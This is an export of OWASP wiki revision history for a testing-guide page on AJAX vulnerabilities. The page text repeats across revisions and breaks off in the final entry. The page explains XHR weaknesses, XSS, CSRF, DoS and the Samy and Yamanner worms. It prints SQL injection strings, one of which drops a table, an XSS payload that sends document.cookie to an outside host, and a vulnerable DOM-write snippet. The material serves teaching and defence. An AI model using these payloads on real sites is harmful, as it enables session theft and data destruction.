&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
'''OWASP Testing Guide sections on AJAX Testing''' provides you a very good information on various aspects of AJAX Testing. &amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools''' &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Venkman''' &amp;lt;br&amp;gt; [http://www.mozilla.org/projects/venkman/ Venkman]is the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging environment for Mozilla based browsers. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://ajaxpatterns.org AJAX Patterns] &lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12228</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12228"/>
				<updated>2006-11-10T11:06:06Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools''' &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Venkman''' &amp;lt;br&amp;gt; [http://www.mozilla.org/projects/venkman/ Venkman]is the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging environment for Mozilla based browsers. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://ajaxpatterns.org AJAX Patterns] &lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12227</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12227"/>
				<updated>2006-11-10T11:05:00Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
